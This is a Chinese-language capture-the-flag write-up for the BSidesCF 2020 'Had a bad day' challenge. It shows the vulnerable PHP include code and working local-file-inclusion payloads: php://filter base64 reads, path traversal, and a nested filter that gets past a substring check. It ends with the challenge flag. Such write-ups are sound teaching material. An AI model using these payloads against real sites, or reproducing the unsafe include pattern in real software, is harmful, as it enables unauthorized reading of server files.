[BSidesCF 2020]Had a bad day
[BSidesCF 2020]Had a bad day
解题步骤
开启靶场,在页面上有两个明显的按钮,没有发现其他特别的信息了
判断漏洞类型
随便点击按钮后发现url改变,猜测本题考的是sql注入或者文件包含http://7247f02e-e4de-47ae-a938-c1ae677b3169.node5.buuoj.cn:81/index.php?category=woofers
尝试使用注入方法在末尾上加一点 ' 后查看回显

回显了文件路径,并在 woofers 后面加上了.php后缀,报错也不属于sql的类型,所以题目基本属于文件包含,接下来使用php伪协议来查看一下文件源码
php://filter/convert.base64-encode/resource=index
这里会自动拼接,所以不需要加上后缀,否则会变成index.php.php,导致无法读取

代码审计
将base64编码解码出来得到源码,大多是html这边直接筛选出后端代码<?php
$file = $_GET['category']; // 获取文件名
if(isset($file)) // 判断是否有文件名
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ // 判断文件名是否包含woofers或meowers或index
include ($file . '.php'); // 包含文件,并加上.php后缀
}
else{ // 否则
echo "Sorry, we currently only support woofers and meowers."; // 输出错误信息
}
}
?>
以 GET 方式获取 URL 查询参数 category 的值,并把它赋给变量 $file
判断传入的值是否为 woofers 或 meowers 或 index 是则包含文件并加上php后缀,不是则输出错误信息
构造payload
主要就是为了绕过前面判断利用包含查看任意文件我们先直接查看flag文件,flag文件在上一层所以需要返回上层
/index.php?category=woofers/../flag
页面上没有什么有用的信息,f12查看源码

提示我们能看到吗,说明flag是在后端上不直接在前端,可以使用php伪协议来查看后端代码,但因为是要查看flag,无法绕过if判断,我们这边可以使用伪协议嵌套来绕过从而查看,构造payload如下:
php://filter/read=convert.base64-encode/woofers/resource=flag

解码出来成功获取flag
<!-- Can you read this flag? -->
<?php
// flag{27c85324-d4c9-4a65-8f3e-fbeefc59d0bd}
?>

浙公网安备 33010602011771号